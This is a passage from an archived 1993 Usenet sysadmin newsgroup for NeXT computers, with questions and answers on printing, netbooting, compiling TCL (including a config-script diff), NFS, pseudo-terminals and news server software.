From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: Getting a Mac to print on the NeXT's printer
Message-ID: <1993Feb3.232703.17442@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <C1Lty0.Itu@unix.portal.com>
Distribution: portal
Date: Wed, 3 Feb 93 23:27:03 GMT
In comp.sys.next.sysadmin eric@whyanext.com (Eric Schwartz) writes:
>I am now trying to get a program called "lpr" to run on the Mac, but there
>have been a few problems. First, there seem to be some PostScript/font
>incompatibilities. Worse, my print queue on the NeXT seems to get clogged up
>after the Mac sends things to it (possibly only PostScript files), and it will
>only occasionally get the pages printed, _if_ I reboot the machine.
>Worse yet, after the Mac has botched up the print queue, I get a message that
>reads something like, "Cannot connect to print daemon." when I try to print
>from within NeXTSTEP, at which point I must reboot to return things to normal.
You don't mention if you're running NeXTSTEP 2.0 or 3.0. We had many
of the same problems you describe, with the NeXT's print daemon
choking to death on Mac postscript files and only a reboot solving the
problem, when we were using 2.0. After upgrading to 3.0 nearly all of
these problems have gone away.
Rollie
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Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
From: sysadm@cs.uh.edu (Sansan Pang)
Newsgroups: comp.sys.next.sysadmin
Subject: tftpboot fail ....
Date: 6 Feb 1993 19:59:26 GMT
Organization: University of Houston
Sender: pang@cs.uh.edu (Sansan Pang)
Distribution: world
Message-ID: <1l15auINN9ma@menudo.uh.edu>
Keywords: Netboot, tftpboot, boot
Originator: pang@beethoven
We have a number of NeXT machines which are on a subnet in our network. We have
been trying to move these machines from the subnet to our backbone network.
We changed the machine addresses in the NetMgr database and in the hostconfig
file on the configuration server and in our NIS database on our network's master
yellow pages server, but upon attaching the NeXT machines to the backbone network
and rebooting, the following happens:
- the configuration server boots up perfectly with no problems
- all the Netboot clients fail to boot during the tftpboot stage of booting
We get an error message similar to the following:
tftpboot from hostname [ok] ..................................................
..............................................................................
.....................iiiiiiiiiiiiiiiiiiiiiii trap #2
followed by hex digits and a value for the program counter pc, followed by what
looks like a register dump, followed by an error message which states:
en() command failed
If you have any suggestions for us to try in order to solve this problem, or if
you need more information, please respond to this posting or send us an e-mail.
Thanks,
Susan Pang
sysadm@cs.uh.edu
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> > | ) | ) Sansan Pang
> > | )__| ) System Administrator Office : PGH592
> > | __ ) Dep. of Computer Science, E-Mail : sysadm@cs.uh.edu
> ^^^| ) | ) University of Houston. Phone : (713)743-3352
>____/|__) |__) ______________________________________________________
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Help with TCL
Date: 8 Feb 1993 22:57:50 GMT
Organization: The University of Maryland, College Park
Message-ID: <1l6oheINN9tm@ni.umd.edu>
References: <1993Feb8.010632.7546@muddcs.claremont.edu> <1993Feb8.161337.7338@venice.sedd.trw.com>
In article <1993Feb8.161337.7338@venice.sedd.trw.com> verket@venice.sedd.trw.com (Paul Verket) writes:
>Jon Vestal (jonv@ptnext.claremont.edu) wrote:
>: Can someone give me some insight on how to compile TCL for NS 3.0. I am
>: trying to get Expect up and running and it needs TCL. Thanks.
>
>If you're lucky enough to have an OD drive and 2.0:
>- boot from the 2.0 OD
>- mount your 3.0 hard disk
>- compile TCL
>- reboot from hard disk.
>
While this will certainly work, you need only screw around with the
config shell script to have it look in a few different places and do a
few different thing.
BEGIN SOAPBOX
Once again, you can thank NeXT for reorganizing the C include files
for some unknown/unconvincing reason, and breaking software which
compiles just fine on most every other UNIX platform. So what does
this new header file structure buy me, the developer or user again?
Huh? I would report the problems that you have compiling TCL as a
bug, as the NeXT is supposed to be 4.3 BSD compatible. It isn't.
END SOAPBOX
Try patching your TCL 6.5 configure script with this, and see how
it works:
*** config~ Thu Dec 17 16:25:08 1992
--- config Tue Jan 19 13:03:43 1993
***************
*** 25,35 ****
# Directory containing system include files:
! set includeDir="/usr/include"
# Archive file containing object code for standard C library:
! set libc="/lib/libc.a"
# Makefile to modify:
--- 25,36 ----
# Directory containing system include files:
! set includeDir="/usr/include/bsd"
! set include2Dir="/usr/include/ansi"
# Archive file containing object code for standard C library:
! set libc="/lib/libsys_s.a"
# Makefile to modify:
***************
*** 46,52 ****
# First make sure that the configuration variables have been
# set in a reasonable fashion.
! if ( ! -r $includeDir/stdio.h ) then
echo "- ERROR\!\! $includeDir doesn't seem to contain standard system"
echo " include files. Please edit config to set the includeDir"
echo " variable."
--- 47,53 ----
# First make sure that the configuration variables have been
# set in a reasonable fashion.
! if ( ! -r $includeDir/stdio.h && ! -r $include2Dir/stdio.h) then
echo "- ERROR\!\! $includeDir doesn't seem to contain standard system"
echo " include files. Please edit config to set the includeDir"
echo " variable."
***************
*** 64,74 ****
# on IBM systems the exit status is 0 even if there's an error). If there's
# a problem, try the operation again with a different set of switches.
! (nm -p $libc > tmp.libc) >& tmp.err
set a = `cat tmp.err`
\rm tmp.err
if ( $#a ) then
! nm -en $libc > tmp.libc
endif
if ( $status != 0 ) then
echo "- ERROR\!\! Nm failed to extract names of system-supplied library"
--- 65,75 ----
# on IBM systems the exit status is 0 even if there's an error). If there's
# a problem, try the operation again with a different set of switches.
! (nm $libc > tmp.libc) >& tmp.err
set a = `cat tmp.err`
\rm tmp.err
if ( $#a ) then
! nm -p $libc > tmp.libc
endif
if ( $status != 0 ) then
echo "- ERROR\!\! Nm failed to extract names of system-supplied library"
***************
*** 118,124 ****
set extraHdrs=""
foreach i (dirent.h limits.h)
\rm -f $i
! if ( ! -r $includeDir/$i ) then
cp compat/$i .
set extraHdrs="$extraHdrs $i"
endif
--- 119,125 ----
set extraHdrs=""
foreach i (dirent.h limits.h)
\rm -f $i
! if ( ! -r $includeDir/$i && ! -r $include2Dir/$i ) then
cp compat/$i .
set extraHdrs="$extraHdrs $i"
endif
***************
*** 133,138 ****
--- 134,151 ----
set chk1=`grep -c strtol $includeDir/stdlib.h`
set chk2=`grep -c strtoul $includeDir/stdlib.h`
set chk3=`grep -c strtod $includeDir/stdlib.h`
+ if ( $chk1 > 0 && $chk2 > 0 && $chk3 > 0 ) then
+ set stdlibOK=1
+ endif
+ endif
+ if ( -r $include2Dir/stdlib.h ) then
+ # The check below is needed because SunOS has a stdlib that
+ # doesn't declare strtod and other procedures, so we have to
+ # use ours instead.
+
+ set chk1=`grep -c strtol $include2Dir/stdlib.h`
+ set chk2=`grep -c strtoul $include2Dir/stdlib.h`
+ set chk3=`grep -c strtod $include2Dir/stdlib.h`
if ( $chk1 > 0 && $chk2 > 0 && $chk3 > 0 ) then
set stdlibOK=1
endif
Newsgroups: comp.sys.next.sysadmin
From: dkk@cbnewsl.cb.att.com (david.k.kallman)
Subject: NFS Dismounts
Organization: AT&T Bell Laboratories
Date: Mon, 8 Feb 1993 22:31:08 GMT
Message-ID: <1993Feb8.223108.25815@cbnewsl.cb.att.com>
Folks,
My NeXT has some directories NFS mounted from Suns and
NeXTs. After the directories are unused for some period,
they disappear from df commands, until I cd into them, and
then the reappear. Yesterday, I had a problem with one of
the directories on the Sun. It was inaccessible until I
did a "mount -a" as root. Do I need to change my mount
options in netinfo. They're
bg,intr,net,timeo=14,mnttimeo=5,noquota
for all the mounted directories now.
Thanks.
Dave Kallman
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d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! 3.0 root defaults file needed!
Summary: I need the defaults files for root on NS3.0
Keywords: Snafu, NeXTStep 3.0, crash
Message-ID: <1993Feb8.223023.5292@galileo.cc.rochester.edu>
Date: 8 Feb 93 22:30:23 GMT
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester - Rochester, New York
I just hosed my defaults files for 3.0. I know, I know. Don't even say it.
If some kind soul out there would be gracious enough to tar and uuencode the
/.NeXT/.* files for me, I'd really appreciate it. You see, I'm now running
off the single user mode on my station, which is kind of silly and very
hhard to read.
Summary of my problem: I came back today to find my Station thinking to
itself furiously (lots of disk action) and taking up to 3 minutes to respond
to keypresses. I had been fooling around with the defaults last night, and
I guess the problem was related to that.... anyway, I halted into the
monitor and rebooteed. No luck. I got a cursor, but no loginwindow. So I
assume things have to be rebuilt in /.NeXT. I hope.
--
John Todd | University of Rochester, Rochester NY USA Earth Milky Way
CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo
Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused
jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin
From: patrick@jgravesnext.nurs.utah.edu (Patrick E. Langford)
Subject: Mail problems
Message-ID: <1993Feb9.000940.12480@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center
Date: Tue, 9 Feb 93 00:09:40 GMT
As of today I am suffering from a plaque of Mail problems.
This started when one of my users recieved a message from
someone in the UK. She clicked on that message and mr. Mail.app
went boom.
Anybody out there had similar problems recently?
--
Patrick Langford University of Utah
Systems Administrator / Assoc. Programmer College of Nursing
patrick@jgravesnext.nurs.utah.edu
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Message-ID: <UfRhQIu00WB=4zVNBO@andrew.cmu.edu>
Date: Mon, 8 Feb 1993 16:56:36 -0500
From: Charles William Swiger <infidel+@CMU.EDU>
Subject: Re: How to attach Micropolis 1924-21
In-Reply-To: <jy21Hvmtgc@atlantis.psu.edu>
Excerpts from netnews.comp.sys.next.hardware: 8-Feb-93 How to attach
Micropolis 19.. by Scott Dickson@iris.psu.e
> I know this must be a FAQ, but I just inherited a NeXT Station running
> NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told
> to make it work.
>
> How does one go about labeling and building filesystems on the Micropolis
> under NS 2.0?
Simple:
Turn off the computer.
Attach the 2.4GB disk to the SCSI bus. Make sure that you have proper
cabling, termination, and that the SCSI target number on the 2.4GB drive
is unique. Also, make sure that the drive's jumpers are properly
configured. (Consult the drive's manual, but it's likely that the default
settings are correct.).
Power on the computer.
Log in as root.
The Workspace will give you a dialogue box:
"Do you want to inizitialize Hard Disk at SCSI target 3"
(or something close)...hit 'yes'.
The drive will be formatted, the filesystem built, and the disk will be
mounted.
-----
If you need to do something more complex, read the manpages for:
BuildDisk, disk, newfs, mkfs, and tunefs
Also, try consulting the System Administrator's manual.
Note that now would be a really good time to upgrade your system to
NeXTstep 3.0....
-Chuck
Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!"
------------------------------------------+ "Foosh. Aauuggghh!!"
AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...."
Failing that: cs4w+@andrew.cmu.edu |
NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin
From: tholland@pars.skidmore.edu (Anthony Holland)
Subject: Hard Drive can't read block 88 - - huh ? HELP !!
Message-ID: <1993Feb8.231458.29107@scott.skidmore.edu>
Keywords: hard drives
Sender: news@scott.skidmore.edu (news manager)
Organization: Skidmore College, Saratoga Springs NY
Date: Mon, 8 Feb 1993 23:14:58 GMT
HELP !
I have a gig disk attached to a color turbo NeXT. I was trying to daisy
chain the NeXT CDrom drive into the gig drive and now this same (external)
gig drive cannot be read, repaired or initialized in the workspace, even
when the CDrom drive is unattached ! I tried to run fsck, but it
complained it couldn't read block #88 and to run fsck manually, HUH ? I
thought I did run it manually, no ? Any suggestions greatly appreciated.
The gig drive came from Computer Systems Technology in Irvine, CA and they
told me it was probably a seagate drive inside.
Any suggestions would be greatly appreciated. I'm not a UNIX whiz (I'm a
Music Prof. !), so I need somebody with more expertise. Thanks in advance
!
Anthony Holland
Skidmore College
tholland@pars.skidmore.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: woo@ra-next.arc.nasa.gov (Alex Woo x6010 227-6 rm 315)
Subject: Can't print after upgrade to NeXTStep 3.0
Message-ID: <1993Feb9.010940.5882@news.arc.nasa.gov>
Sender: usenet@news.arc.nasa.gov
Organization: NASA Ames Research Center, Moffett Field, CA
Date: Tue, 9 Feb 1993 01:09:40 GMT
After I upgraded to 3.0, I found that I was unable to print any
more, even to remote printers. I have tried the following:
1. Changed the netinfo entries to point to /usr/lib/NextPrinter/Server
instead of /usr/lib/NextPrinter.
2. Removed all SharedAs, etc entries.
The result is that remote printers are paused and the Local_Printer
reports back "Notes all pages were printed" when in fact nothing
was printed.
For some reason, the PrintManager will not let me create a
NeXT 400 dpi Level II Printer device. Why? Why did the
location of the transcript items change? Is there something
wrong with my "lpd"?
Thanks for your help.
--
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Newsgroups: comp.sys.next.sysadmin
From: sandhoff@syscube.csus.edu (John F. Sandhoff)
Subject: Configuring more ptys
Message-ID: <1993Feb9.015117.1556@csus.edu>
Originator: sandhoff@syscube.ccs.csus.edu
Keywords: pseudo-terminals, ttys, makedev
Sender: news@csus.edu
Organization: California State University Sacramento
Distribution: na
Date: Tue, 9 Feb 1993 01:51:17 GMT
How do I increase the number of available pseudo-terminals on a
NeXT v2.1 system? I tried using MAKEDEV to create 32 more ptys,
and they're listed in the ttys file, but even after a reboot I'm
still limited to only 32. What other steps are necessary?
John F. Sandhoff, University Network Support
California State University, Sacramento
sandhoff@csus.edu
Newsgroups: comp.sys.next.sysadmin
From: stark@superc.che.udel.edu (Scott M. Stark)
Subject: Problems with recvfrom(2), Summary
Message-ID: <1993Feb9.044306.14693@udel.edu>
Keywords: recvfrom, Stevens
Sender: usenet@udel.edu (USENET News Service)
Organization: University of Delaware
References: <1993Feb8.182345.17475@bernina.ethz.ch>
Date: Tue, 9 Feb 1993 04:43:06 GMT
First, let me thank everyone who responded.
And now, a review of the problem in full context. I had attempted
to run the UDP server/client example in the reliable directory
of the Stevens source distribution (obtainable from ftp.uu.net as
published/stevens.netprog.tar.Z). The client program, rudpcli.c
would return an error when it called the dgsendrecv() routine
from Stevens libnet.a. The problem was the following recvfrom()
call (line 53 of lib/dgsendrecv.c):
n = recvfrom(fd, inbuff, inbytes, 0,
(struct sockaddr *) 0, (int *) 0);
When the client program is run, a bad address error is returned.
Apparently, the struct sockaddr *from arg of the recvfrom() call
cannot be NULL on the NeXT, despite the man pages contrary
implications. The problem disappears when the preceeding call is
replaced with:
n = recvfrom(fd, inbuff, inbytes, 0,
(struct sockaddr *) &fromAddr, &fromAddrLength);
with fromAddr being an unitialized struct sockaddr_in.
Scott
--
Scott Stark
University of Delaware
Department of Chemical Engineering
123 Colburn Lab
Newark, DE 19716-3119
(302) 831-6713
Newsgroups: comp.sys.next.sysadmin
From: bryanvv@netcom.com (Bryan Van Vliet)
Subject: Problem w/ telnet from Sun to NeXT
Message-ID: <1993Feb9.050835.18353@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Tue, 9 Feb 1993 05:08:35 GMT
When I telnet from a Sun SPARCstation to a NeXTstation running
NeXTstep 3.0 the last bit of output from a shell command seems like its
LF/CR's got screwed up. Emacs works fine, though. Any hints on what I
can do about this? Thanks.
- Bryan
--
Bryan Van Vliet
Newsgroups: comp.sys.next.sysadmin
From: bryanvv@netcom.com (Bryan Van Vliet)
Subject: Anyone ported NNTP?
Message-ID: <1993Feb9.050452.18191@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Tue, 9 Feb 1993 05:04:52 GMT
Sorry if this has been asked recently. Has anyone installed NNTP under
NeXTstep 3.0? Any pointers as to what I have to worry about?
Thanks,
Bryan
--
Bryan Van Vliet
bryanvv@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Help! 3.0 root defaults file needed!
Message-ID: <C265D9.LqJ@ux1.cso.uiuc.edu>
Keywords: Snafu, NeXTStep 3.0, crash
Organization: University of Illinois at Urbana
References: <1993Feb8.223023.5292@galileo.cc.rochester.edu>
Date: Tue, 9 Feb 1993 06:43:43 GMT
jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) writes:
>I just hosed my defaults files for 3.0. I know, I know. Don't even say it.
>If some kind soul out there would be gracious enough to tar and uuencode the
>/.NeXT/.* files for me, I'd really appreciate it. You see, I'm now running
>off the single user mode on my station, which is kind of silly and very
>hhard to read.
These files are in /usr/template/user/.NeXT even on a
'standard-release' system (250 MB hd).
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: andrew@cubetech.com (Andrew Loewenstern)
Subject: Re: nntp
Message-ID: <1993Feb9.014117.8726@cubetech.com>
Keywords: nntp,news
Organization: Cube Technologies, Inc.
References: <1993Feb5.185333.3053@bankone.com>
Date: Tue, 9 Feb 1993 01:41:17 GMT
In article <1993Feb5.185333.3053@bankone.com> steved@bankone.com writes:
>I'm trying to get nntp compiled. Does anyone have any suggestions, hints,
>tips, or compiled binaries?
>
>I'm getting the following error:
>
>cd server; make "LIBS=-lcnews" "CFLAGS=-O -I/usr/local/include
>/usr/local/lib/dbz.o"
>cc -O -I/usr/local/include /usr/local/lib/dbz.o -c main.c
>main.c: In function `main':
>main.c:226: `LOG_NEWS' undeclared (first use this function)
>main.c:226: (Each undeclared identifier is reported only once
>main.c:226: for each function it appears in.)
>*** Exit 1
>Stop.
LOG_NEWS isn't a defined syslog type. Change it to LOG_DAEMON or
something. I believe this is a parameter in your config.h file.
On a related note, I can get nntp to compile, but if I ever try to
post it insists that there is no free space left on the server (which
isn't true). Any ideas?
>Steve Dieringer NeXTMail: steved@bankone.com
BankOne has hopped on the NeXT bandwagon, eh?
andrew
--
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Andrew Loewenstern | lest we lose our now for a phantom of our
Cube Technologies, Inc. | own design." - Erendis FYEO Public Key:
0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin
From: matt@crawfish.math.tulane.edu (Matt Hopkins)
Subject: nbuf "trick"?
Message-ID: <1993Feb9.084253.16161@cs.tulane.edu>
Nntp-Posting-Host-[nntpd-16097]: crawfish.math.tulane.edu
Sender: news@cs.tulane.edu
Organization: Mathematics Department, Tulane University
Date: Tue, 9 Feb 1993 08:42:53 GMT
Could some kind soul please remind me how to set the nbuf kernel flag?
I've lost my little itsy bit of paper, that was somewhere near my desk,
that had the info...
Thanks in advance,
Matt
(e-mail would be fine)
--
matt@crawfish.math.tulane.edu (NeXT Mail accepted!)
Matt Hopkins - Tulane University - Dept of Mathematics - New Orleans
"Admit Nothing. Blame Everyone. Be Bitter."
From: william_w@verifone.com
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Message-ID: <1993Feb8.151703.4813@verifone.com>
Date: 8 Feb 93 15:17:03 -1000
References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> <C0wn95.41L@boi.hp.com>
Followup-To: comp.unix.admin,comp.sys.next.sysadmin
Organization: VeriFone Inc., Honolulu HI
In article <C0wn95.41L@boi.hp.com>, guy@boi.hp.com () writes:
>
> --
>
> I've done it on HP-UX systems. I have a C program that monitors a rs232
> port. It logs power fail events and will call a shutdown script when
> the battery gets low. The program is started by the rc script on boot
> up. Email if your interested in the details.
>
>
> --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
> Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc.
> guy@hpbs5194.boi.hp.com 208(323-3355)
>
> I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and ..
>
> Disclaimer: Don't you be the only one to take me seriously!
> --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
I'll be very appreciate if you can Email me all about it.
Thanks in advance.
William Wang
From: Manuel.Alberto.Ricart@f236.n104.z1.FIDONET.ORG (Manuel Alberto Ricart)
Newsgroups: comp.sys.next.sysadmin
Subject: SIMPLE NFS SERVER QUESTION
Message-ID: <142365.2B76EE2A@paranet.FIDONET.ORG>
Date: 7 Feb 93 22:28:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO
--
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UUCP: !scicom!paranet!User_Name
INTERNET: Manuel.Alberto.Ricart@f236.n104.z1.FIDONET.ORG
From: otto@coactive.com (otto lind)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: news on the NeXT
Date: 9 Feb 1993 11:04:47 GMT
Organization: Coactive Aesthetics Inc.
Message-ID: <1l834fINNh7u@disc.coactive.com>
References: <64125@mimsy.umd.edu>
In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes:
> Could someone point me in the right direction for installing netnews software
> on a NeXT. I have heard that there are reader applications (NewsGrazer?) out
> there, but I am not sure where to find them. Also, will one of the standard
> news software packages run on the NeXT ralatively painlessly? Thanks.
> -- GDD (new NeXT sysadmin)
I recently installed inn version 1.2, a complete news package written by Rich
Salz, on the NeXT systems here at Coactive. I found the installation to be
fairly straight forward, with very few problems (I should have taken to heart
the note Rich mentioned on the "newsfeed" file).
Inn is a NNTP based server, which we feed via uucp from Netcom. We currently
use NewsGrazer version 72.3, and tin version 1.1 to read news on the client
machines.
If you have any questions, let me know..
Otto
P.S. I snarfed inn from /.8/news/inn at gatekeeper.dec.com. You can also
use archie to find it.
--
Otto Lind Coactive Aesthetics
otto@coactive.com P.O. Box 425967, San Francisco, CA 94142
netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
From: ogeisser@uni-paderborn.de (Oliver Geisser)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Re: Binaries which would like to be run as root
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Date: 9 Feb 1993 12:59:38 GMT
Organization: Uni Paderborn FB 17 Informatik GERMANY
Message-ID: <1l89rq$n8o@news.uni-paderborn.de>
References: <1993Feb8.175721.16536@bernina.ethz.ch>
Marcel Waldvogel (waldvoge@nessie.cs.id.ethz.ch) wrote:
: In article <1kv6avINNjn7@stephen.cs.ubc.ca> sritchie@cs.ubc.ca (Stuart Ritchie) writes:
: >Yes, beware of Oxyd! You will get *no work done* until you complete
[...]
: I love the game, but I really hate that lousy port!
^^^^^^^^^^
That is exactly what I think !!!
Ciao, Olli
--
| Oliver Geisser * Steindruefft 11 * W-4791 Altenbeken 3 * Germany |
| e-mail: ogeisser@uni-paderborn.de * Phone: 05255/7966 |
| I prefer ASCII-Mail, but you can also send me NeXT-Mail |
From: bpp@infoserv.com (Jonathan E. Ganz)
Newsgroups: comp.sys.next.sysadmin
Subject: large swapfiles?
Keywords: swapfiles
Message-ID: <BuuoyB1w163w@bpp>
Date: Mon, 08 Feb 93 21:09:22 PST
Distribution: world
Organization: Blank Page Productions
Howdy, perhaps this is a dump user question, but
there appears to be two large swapfiles, one called
"swapfile" and one called "swapfile.front" in my
private/vm directory. They total more than 50 megs!
Is there some reason to keep them around?
BTW, I have a NeXTstation, color 21", with 16 megs,
a 400 meg internal drive, and v3.0.
Is there someway to limit their size and will any
of this affect performance? I've noticed a rather
sluggish station since I installed 3.0.... :-(
Please, email me directly... I don't have good access
to this newsgroup!
Thanks in advance!
Jonathan
(bonehead user) :-O
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Configuring more ptys
Date: 9 Feb 1993 15:14:31 GMT
Organization: The University of Maryland, College Park
Distribution: na
Message-ID: <1l8honINNgh9@ni.umd.edu>
References: <1993Feb9.015117.1556@csus.edu>
Keywords: pseudo-terminals, ttys, makedev
In article <1993Feb9.015117.1556@csus.edu> sandhoff@syscube.csus.edu (John F. Sandhoff) writes:
>How do I increase the number of available pseudo-terminals on a
>NeXT v2.1 system? I tried using MAKEDEV to create 32 more ptys,
>and they're listed in the ttys file, but even after a reboot I'm
>still limited to only 32. What other steps are necessary?
Sorry to say, but you're hosed. The kernel pty driver was compiled to
support 32 ptys. Report this as a bug to NeXT, and perhaps they will
configure a larger number in a future release. Idealy, the number of
the pty driver should dynamically allocate the data structures
required for each pty unit when they are used, rather than fixing a
number at compile time when the kernel was built.
Louis Mamakos
Newsgroups: comp.sys.next.sysadmin
From: barel@imag.fr (Max Barel)
Subject: System panic message log
Message-ID: <C26rJF.Jr6@imag.fr>
Organization: IMAG Institute, University of Grenoble, France
Date: Tue, 9 Feb 1993 14:42:50 GMT
I recently experienced a system panic (NS 3.0). A lot of messages went out in
the small nmi/panic window. It was probably a severe panic since I had no way
to see the message buffer, nor to halt the system, nor to reboot gracefully.
After hard reboot and fsck, I found none of the panic messages in the logfile
/private/adm/messages.
So I don't know what caused the panic.
Is there something more to attempt in such a case to make a dignostic ?
Thanks
--
Max Barel barel@imag.Fr max@cuefa.grenet.fr
From: ambi@it-next2.bu.edu (Michael Amirault)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Archive Tape Drive Problem!
Message-ID: <109818@bu.edu>
Date: 9 Feb 93 14:27:54 GMT
Sender: news@bu.edu
Followup-To: comp.sys.next.hardware
I just received an Archive Viper 2150 1/4" tape drive yesterday. I
haven't been able to get it to work yet. Installation was fairly easy
and the system sees the drive okay but every command to the drive results
in a an i/o type error with the following appearing on the console:
st: cmd = 0x15 sr_io_status = 2H
Sense key = 0x5 Sense Code = 0x0
Does anyone know what the problem is?
Thanks for the help,
Mike Amirault
ambi@it-next2.bu.edu
Organization: Carnegie Mellon, Pittsburgh, PA
Newsgroups: comp.sys.next.sysadmin
Message-ID: <MfRw_cb0BwyOBgxm9b@transarc.com>
Date: Tue, 9 Feb 1993 09:41:44 -0500
From: Ward_Travis@transarc.com
Subject: Re: previous, long post about SL/IP trouble
About a week ago, I was looking for help via this newsgroup for
information regarding a problem I was having with SL/IP 920904. To clear
SL/IP's name, I'm following it up with this post, which names the actual
culprit. It has nothing to do with Louie's software,
The scenario, for the curious, was that SL/IP was bringing itself up
just fine, and the TCL scripts were looking to be doing the right
things, and the terminal concentrator on the remote site was giving me
one of a set of addresses each time my link came up, and the scripts
were compensating for that just fine. However, no packets would ever
come back! I spent at least a week wondering which of the 'route'
commands I had bungled, but that produced nothing.
Finally, I got disgusted and swapped out the modem itself, a Telebit
TrailBlazer +, with a Telebit T1000 I had available. SL/IP worked
perfectly on this. Looking at the two modems' configurations, the only
meaningful difference was that the TrailBlazer was configured to use PEP
compression (FAST/COMP), a feature not available on the T1000.
Voila. PEP compression was getting in the way. Perhaps it's fragmenting
the IP packets, inducing timeouts in the router, and the router is just
dropping the shards on the floor (as it should?). Who knows.
I did not perform the obvious back-test of turning off PEP compression
in the TrailBlazer and trying it again. I've lost more time with it now
than I think I could ever regain by getting FAST/COMP working, if that
turns out to be possible. The T1000 combination works, so it ain't
broken anymore, and I ain't fixin' it anymore.
I suspect the moral here is, don't use PEP compression for SL/IP lines.
Be happy with just PEP (which works reliably for me). If this is old
news, please forgive the repetition.
--
Ward C. Travis Pittsburgh PA USA "The fact is the sweetest dream that
travis@transarc.com (412) 338 4388 labor knows." - R. Frost
From: weigele@duitex1.pdmv.detecon.de (Martin Weigele)
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next
Subject: Looking for command line fax interface
Date: 9 Feb 1993 16:50:21 +0100
Organization: Detecon GmbH - Projekt Digitaler Mobilfunk - Vermittlungstechnik
Message-ID: <weigele.729272811@duitex1>
Is there any such thing as a Unix command line interface to
send out faxes with NeXT Step 3.0 ? While you can print both
from a NeXTstep interface and from Unix command line, I have
not been able to find a command equivalent to "lpr" to send faxes.
Does it exist? Can it be done?
The advantage being, of course, the possibilty of automated fax
processing by means of shell scripts and such.
--
Martin Weigele
Detecon GmbH - Projekt Digitaler Mobilfunk, Rochusstr. 289, W-5300 Bonn 1
Germany -- Tel. +49 228 9866 385, Fax +49 228 9866 306
- Detecon is a subsidiary of Deutsche Bundespost Telekom
From: robert@steffi.demon.co.uk (Robert David Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: news on the NeXT
Date: 9 Feb 1993 14:49:54 -0000
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <1l8gai$6e8@steffi.demon.co.uk>
References: <1l834fINNh7u@disc.coactive.com>
otto lind (otto@coactive.com) wrote:
: In article <64125@mimsy.umd.edu> gdrew@cs.umd.edu (Greg Drew) writes:
: > Could someone point me in the right direction for installing netnews software
: > on a NeXT. I have heard that there are reader applications (NewsGrazer?) out
: > there, but I am not sure where to find them. Also, will one of the standard
: > news software packages run on the NeXT ralatively painlessly? Thanks.
: > -- GDD (new NeXT sysadmin)
: I recently installed inn version 1.2, a complete news package written by Rich
: Salz, on the NeXT systems here at Coactive. I found the installation to be
: fairly straight forward, with very few problems (I should have taken to heart
: the note Rich mentioned on the "newsfeed" file).
: Inn is a NNTP based server, which we feed via uucp from Netcom. We currently
: use NewsGrazer version 72.3, and tin version 1.1 to read news on the client
: machines.
: If you have any questions, let me know..
: Otto
: P.S. I snarfed inn from /.8/news/inn at gatekeeper.dec.com. You can also
: use archie to find it.
: --
: Otto Lind Coactive Aesthetics
: otto@coactive.com P.O. Box 425967, San Francisco, CA 94142
: netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
INN1.3 can be found at ftp.uu.net or mirrors of this.
Rich says 1.4 will be about shortly within 2 weeks im hearing.
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
